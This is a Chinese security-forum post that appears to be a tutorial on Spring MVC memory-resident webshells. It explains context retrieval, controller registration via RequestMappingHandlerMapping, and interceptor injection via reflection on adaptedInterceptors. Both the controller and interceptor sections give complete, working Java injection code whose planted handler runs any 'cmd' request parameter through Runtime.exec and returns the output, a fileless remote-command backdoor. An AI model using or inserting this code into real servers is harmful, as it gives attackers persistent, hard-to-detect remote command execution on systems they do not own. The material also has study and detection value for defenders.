安全矩阵

 找回密码
 立即注册
搜索
查看: 911|回复: 0

浅析Spring类内存马

[复制链接]

102

主题

102

帖子

330

积分

中级会员

Rank: 3Rank: 3

积分
330
发表于 2023-9-27 16:01:15 | 显示全部楼层 |阅读模式
本帖最后由 jiangmingzi 于 2023-9-27 16:01 编辑

Controller内存马衡阳信安 2023-09-25 00:00 发表于湖南
环境搭建
依赖
  1. <dependency>
  2.     <groupId>org.springframework</groupId>
  3.     <artifactId>spring-webmvc</artifactId>
  4.     <version>5.3.22</version>
  5. </dependency>

  6. <dependency>
  7.     <groupId>javax.servlet</groupId>
  8.     <artifactId>servlet-api</artifactId>
  9.     <version>2.5</version>
  10. </dependency>
复制代码
web.xml
  1. <servlet>
  2.     <servlet-name>SpringMVC</servlet-name>
  3.     <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  4.     <init-param>
  5.         <param-name>contextConfigLocation</param-name>
  6.         <param-value>classpath:SpringMVC.xml</param-value>
  7.     </init-param>
  8.     <load-on-startup>1</load-on-startup>
  9. </servlet>
  10. <servlet-mapping>
  11.     <servlet-name>SpringMVC</servlet-name>
  12.     <url-pattern>/</url-pattern>
  13. </servlet-mapping>
复制代码
SpringMVC.xml
  1. <context:component-scan base-package="com.sentiment"/>
  2.     <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
  3.         <property name="prefix" value="/"></property>
  4.         <property name="suffix" value=".jsp"></property>
  5.     </bean>


  6.     <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
  7.     <!--<bean class="org.springframework.web.servlet.mvc.method.annotation.DefaultAnnotationHandlerMapping "/>-->
  8.     <!--<mvc:annotation-driven />-->
  9. </beans>
复制代码
下边这三行后边会提到
  1. <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
  2. <!--<bean class="org.springframework.web.servlet.mvc.method.annotation.DefaultAnnotationHandlerMapping"/>-->
  3. <!--<mvc:annotation-driven />-->
复制代码
前置知识
1、注册上下文环境
要写入内存马,首先第一步就是注册当前运行环境的上下文环境,主要有四种方法:

getCurrentWebApplicationContext

WebApplicationContextUtils

RequestContextUtils

getAttribute

重点看下后两个,因为前两个获取的是Root WebApplicationContext,而我们在web.xml中定义了自己的Child WebApplicationContext也就是SpringMVC.xml,所以当然是要获取自定义的。
Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context

所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean

所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中

getAttribute
在RequestContextHolder.currentRequestAttributes()的attributes中两个值其中放着SpringMVC-servlet,也就是前边说的Child WebApplicationContext,而由于我们在web.xml中定义的是SpringMVC.xml,所以这里的SpringMVC-servlet也就相当于是我们自定义的SpringMVC

RequestContextHolder.currentRequestAttributes()中有Child WebApplicationContext,所以需要通过getAttribute取出来
  1. WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);
复制代码
RequestContextUtils
同理,该方法是通过ServletRequest 类的实例来获得 WebApplicationContext
  1. WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
复制代码
2、注册 controller
获取环境后就需要注册Controller了
HandlerMapping
先看下HandlerMpping这个概念
HandlerMapping 是用来查找Handler 的,也就是处理器,具体的表现形式可以是类也可以是方法。比如,标注了@RequestMapping 的每个method 都可以看成是一个Handler,由Handler 来负责实际的请求处理。而在请求到达之后,HandlerMapping便会找到请求相应的处理器Handler 和Interceptors。
demo
  1. @RestController
  2. public class TestController {
  3.     @RequestMapping("/test")
  4.     public String hello(String name, Model model) {
  5.         model.addAttribute("name", "Hi,Sentiment!");
  6.         return "hello";
  7.     }
  8. }
复制代码

当访问test时,便会通过HandlerMapping查找Handler并处理请求

所以这里就引入了前边提到的三行:
  1. <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
  2. <!--<bean class="org.springframework.web.servlet.mvc.method.annotation.DefaultAnnotationHandlerMapping"/>-->
  3. <!--<mvc:annotation-driven />-->
复制代码

@Controller、@RequestMapping等注解需要通过RequestMappingHandlerMapping来处理,所以在使用时必须要提前在bean中引入
而这种方法是在SpringMVC 3.1之后用的,之前的话就用DefaultAnnotationHandlerMapping
但无论是3.1之前还是之后,其实都只需要一个<mvc:annotation-driven />即可,它会帮我们注册默认处理请求
注册过程
  1. 在RequestMappingHandlerMapping中有一个registerMapping
  2. public void registerMapping(RequestMappingInfo mapping, Object handler, Method method) {
  3.     super.registerMapping(mapping, handler, method);
  4.     this.updateConsumesCondition(mapping, method);
  5. }
复制代码

他会调用父类的registerMapping,
  1. public void registerMapping(T mapping, Object handler, Method method) {
  2.     if (this.logger.isTraceEnabled()) {
  3.         this.logger.trace("Register "" + mapping + "" to " + method.toGenericString());
  4.     }

  5.     this.mappingRegistry.register(mapping, handler, method);
  6. }
复制代码

接着会调用register()完成注册
注册
了解注册过程后,细看一下过程:
首先第一个registerMapping()中有三个参数:
  1. public void registerMapping(RequestMappingInfo mapping, Object handler, Method method)
复制代码

  • handler:即我们需要构造的controller对应的类
  • method:需要注册的controller中的方法
  • mapping:它是RequestMappingInfo类型的,而这个类其实就是设置Controller的一些请求参数的,若没有特殊要求全填null即可:

  1. RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null, null);
复制代码
handler和method,设置自定义的controller和method即可,先定义一个写入内存马的类:
  1. @RestController
  2. public class InjectToController {
  3.     public InjectToController(){
  4.     }
  5.     public String test() throws Exception {
  6.         // 获取request
  7.         HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();

  8.         InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
  9.         InputStreamReader isr = new InputStreamReader(is, "UTF-8");
  10.         BufferedReader br = new BufferedReader(isr);
  11.         String str = "";
  12.         String line = "";

  13.         while ((line = br.readLine())!=null){
  14.             str+=line;
  15.         }
  16.         is.close();
  17.         br.close();
  18.         return str;
  19.     }

  20. }
复制代码

将其controller和method先定义好,留到注册时使用
  1. //handler
  2. InjectToController injectToController = new InjectToController();
  3. //method
  4. Method method = InjectToController.class.getMethod("test");
复制代码

接着就是获取registerMapping,先通过前边注册的上下文获取RequestMappingHandlerMapping类
  1. WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);

  2. RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
复制代码

获取后就可以直接,调用registerMapping了:
  1. mappingHandlerMapping.registerMapping(info, injectToController, method);
复制代码

内存马构造
  1. package com.sentiment.controller;

  2. import org.springframework.web.bind.annotation.RequestMapping;
  3. import org.springframework.web.bind.annotation.RequestMethod;
  4. import org.springframework.web.bind.annotation.RestController;
  5. import org.springframework.web.context.WebApplicationContext;
  6. import org.springframework.web.context.request.RequestContextHolder;
  7. import org.springframework.web.context.request.ServletRequestAttributes;
  8. import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  9. import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  10. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  11. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

  12. import javax.servlet.http.HttpServletRequest;
  13. import java.io.BufferedReader;
  14. import java.io.InputStream;
  15. import java.io.InputStreamReader;
  16. import java.lang.reflect.Method;

  17. @RestController
  18. public class TestController {
  19.     @RequestMapping(value = "/inject", method = RequestMethod.GET)
  20.     public String inject() throws NoSuchMethodException {
  21.         // 1. 获取上下文环境
  22.         WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);

  23.         // 2. 通过上下文获取RequestMappingHandlerMapping
  24.         RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

  25.         // 3. 通过反射获取自定义的controller和Method
  26.         Method method = InjectToController.class.getMethod("test");
  27.         InjectToController injectToController = new InjectToController();

  28.         // 4. 注册controller
  29.         RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null, null);
  30.         mappingHandlerMapping.registerMapping(info, injectToController, method);

  31.         return "Inject Success!";
  32.     }
  33.     @RestController
  34.     public class InjectToController {
  35.         public InjectToController(){
  36.         }
  37.         public String test() throws Exception {
  38.             // 获取request
  39.             HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();

  40.             InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
  41.             InputStreamReader isr = new InputStreamReader(is, "UTF-8");
  42.             BufferedReader br = new BufferedReader(isr);
  43.             String str = "";
  44.             String line = "";

  45.             while ((line = br.readLine())!=null){
  46.                 str+=line;
  47.             }
  48.             is.close();
  49.             br.close();
  50.             return str;
  51.         }

  52.     }
  53. }
复制代码

访问/inject,注入成功

成功执行命令

Interceptor内存马环境搭建
依赖
  1. <dependency>
  2.     <groupId>org.springframework</groupId>
  3.     <artifactId>spring-webmvc</artifactId>
  4.     <version>5.3.22</version>
  5. </dependency>

  6. <dependency>
  7.     <groupId>javax.servlet</groupId>
  8.     <artifactId>servlet-api</artifactId>
  9.     <version>2.5</version>
  10. </dependency>
复制代码

web.xml
  1. <servlet>
  2.     <servlet-name>SpringMVC</servlet-name>
  3.     <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  4.     <init-param>
  5.         <param-name>contextConfigLocation</param-name>
  6.         <param-value>classpath:SpringMVC.xml</param-value>
  7.     </init-param>
  8.     <load-on-startup>1</load-on-startup>
  9. </servlet>
  10. <servlet-mapping>
  11.     <servlet-name>SpringMVC</servlet-name>
  12.     <url-pattern>/</url-pattern>
  13. </servlet-mapping>
复制代码

SpringMVC.xml
  1. <context:component-scan base-package="com.sentiment"/>
  2. <!--配置视图解析器-->
  3. <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
  4.     <!--配置前缀-->
  5.     <property name="prefix" value="/"></property>
  6.     <!--配置后缀-->
  7.     <property name="suffix" value=".jsp"></property>
  8. </bean>
  9. <mvc:annotation-driven />
  10. <mvc:interceptors>
  11.     <mvc:interceptor>
  12.         <mvc:mapping path="/demo"/>
  13.         <ref bean="InterceptorTest"/>
  14.     </mvc:interceptor>
  15. </mvc:interceptors>
复制代码

<mvc:interceptors>设置需要拦截的请求,这里拦截的是/demo请求,拦截器时自己定义的InterceptorTest
前置知识Interceptor
Interceptor拦截器相当于一个过滤,就是在发送某个请求前对其进行一定的拦截过滤。拦截器用于拦截控制器方法的执行,需要实现HandlerInterceptor,并且必须在SpingMVC的配置文件中进行配置
拦截过程
1、程序先执行preHandle()方法,如果该方法的返回值为true,则程序会继续向下执行处理器中的方法,否则将不再向下执行;
2、控制器Controller类处理完请求后,会执行postHandle()方法,然后会通过DispatcherServlet向客户端返回响应;
3、在DispatcherServlet处理完请求后,才会执行afterCompletion()方法。
Demo
控制器
  1. @RestController
  2. public class HelloController {
  3.     @RequestMapping("/demo")
  4.     public String hello(Model model){
  5.         model.addAttribute("name","Hello,Sentiemnt!");
  6.         return "Hello,Sentiment!";
  7.     }
  8. }
复制代码

拦截器
  1. @Component("InterceptorTest")
  2. public class InterceptorTest implements HandlerInterceptor {
  3.     @Override
  4.     public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
  5.         System.out.println("preHandle执行了....");
  6.         return true;
  7.     }

  8.     @Override
  9.     public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
  10.         System.out.println("postHandle执行了...");
  11.     }

  12.     @Override
  13.     public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
  14.         System.out.println("afterCompletion执行了....");
  15.     }
  16. }
复制代码

当发起/demo请求时,则会执行自定义的拦截器,如果preHandle返回值为true则会继续向下执行另外两个
[color=rgba(0, 0, 0, 0.9)]

调试后发现在doDispatch#applyPreHandle调用了preHandle,所以如果我们需要注册拦截的话一定是在这之前
[color=rgba(0, 0, 0, 0.9)]
注册流程
首先是调用的是processedRequest = checkMultipart(request);,主要判断request是否为文件上传请求,不是的话则会原样返回
接着就是mappedHandler = this.getHandler(processedRequest);将getHandler()执行后的结果返回给mappedHandler
[color=rgba(0, 0, 0, 0.9)]

跟进getHandler,获取HandlerMapping,并继续调用getHandler()
  1. protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
  2.     if (this.handlerMappings != null) {
  3.         Iterator var2 = this.handlerMappings.iterator();

  4.         while(var2.hasNext()) {
  5.             HandlerMapping mapping = (HandlerMapping)var2.next();
  6.             HandlerExecutionChain handler = mapping.getHandler(request);
  7.             if (handler != null) {
  8.                 return handler;
  9.             }
  10.         }
  11.     }
复制代码

继续跟进,在下边会调用getHandlerExecutionChain(),其中会遍历 this.adaptedInterceptors 对象里所有的 HandlerInterceptor 类实例,通过 chain.addInterceptor 把已有的所有拦截器加入到需要返回的 HandlerExecutionChain exectuion 属性中,完成注册
[color=rgba(0, 0, 0, 0.9)]

之后就是通过一级级的retrun 将值返回给mappedHandler,并通过上边提到的mappedHandler.applyPreHandle()调用PreHandle()
注册
通过上边的分析,下面就需要我们把注入内容添加到adaptedInterceptors中,而获取前需要先获取上下文,adaptedInterceptors属性是AbstractHandlerMapping类的,而该类可以通过controller内存马中提到的RequestMappingHandlerMapping或DefaultAnnotationHandlerMapping获取,所以在SpringMVC.xml中加上<mvc:annotation-driven />即可
[color=rgba(0, 0, 0, 0.9)]
  1. // 1. 获取上下文环境
  2. WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);

  3. // 2. 通过上下文获取RequestMappingHandlerMapping
  4. RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

  5. AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("");
复制代码

之后通过反射获取adaptedInterceptors属性
  1. // 3、反射获取adaptedInterceptors属性
  2. Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  3. field.setAccessible(true);
  4. ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>)field.get(mappingHandlerMapping);
复制代码

最后将我们自定义的内存马,添加到属性中
  1. //4、生成MappedInterceptor对象
  2. MappedInterceptor mappedInterceptor = new MappedInterceptor(null,null,new InjectInterceptor());

  3. // 5、添加到adaptedInterceptors中
  4. adaptedInterceptors.add(mappedInterceptor);
复制代码

内存马构造
  1. package com.sentiment.controller;

  2. import org.springframework.web.bind.annotation.RequestMapping;
  3. import org.springframework.web.bind.annotation.RequestMethod;
  4. import org.springframework.web.bind.annotation.RestController;
  5. import org.springframework.web.context.WebApplicationContext;
  6. import org.springframework.web.context.request.RequestContextHolder;
  7. import org.springframework.web.servlet.HandlerInterceptor;
  8. import org.springframework.web.servlet.ModelAndView;
  9. import org.springframework.web.servlet.handler.AbstractHandlerMapping;
  10. import org.springframework.web.servlet.handler.MappedInterceptor;
  11. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

  12. import javax.servlet.http.HttpServletRequest;
  13. import javax.servlet.http.HttpServletResponse;
  14. import java.io.BufferedReader;
  15. import java.io.InputStream;
  16. import java.io.InputStreamReader;
  17. import java.lang.reflect.Field;
  18. import java.util.ArrayList;

  19. @RestController
  20. public class InterceptorShell{
  21.     @RequestMapping(value = "/inject", method = RequestMethod.GET)
  22.     public String inject() throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
  23.         try{
  24.             // 1. 获取上下文环境
  25.             WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

  26.             // 2. 通过上下文获取RequestMappingHandlerMapping
  27.             RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

  28.             // 3、反射获取adaptedInterceptors属性
  29.             Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  30.             field.setAccessible(true);
  31.             ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>)field.get(mappingHandlerMapping);

  32.             //4、生成MappedInterceptor对象
  33.             MappedInterceptor mappedInterceptor = new MappedInterceptor(null,null,new InjectInterceptor());

  34.             // 5、添加到adaptedInterceptors中
  35.             adaptedInterceptors.add(mappedInterceptor);

  36.             return "Inject Success!";
  37.         } catch (Exception e) {
  38.             return "Inject Failed!";
  39.         }
  40.     }
  41. }

  42. class InjectInterceptor implements HandlerInterceptor {

  43.     public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
  44.         InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
  45.         InputStreamReader isr = new InputStreamReader(is, "UTF-8");
  46.         BufferedReader br = new BufferedReader(isr);
  47.         String str = "";
  48.         String line = "";

  49.         while ((line = br.readLine())!=null){
  50.             str+=line;
  51.         }
  52.         is.close();
  53.         br.close();
  54.         response.getWriter().write(str);
  55.         return false;
  56.     }
  57.     public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
  58.     }

  59.     public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
  60.     }
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:39 , Processed in 0.014353 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表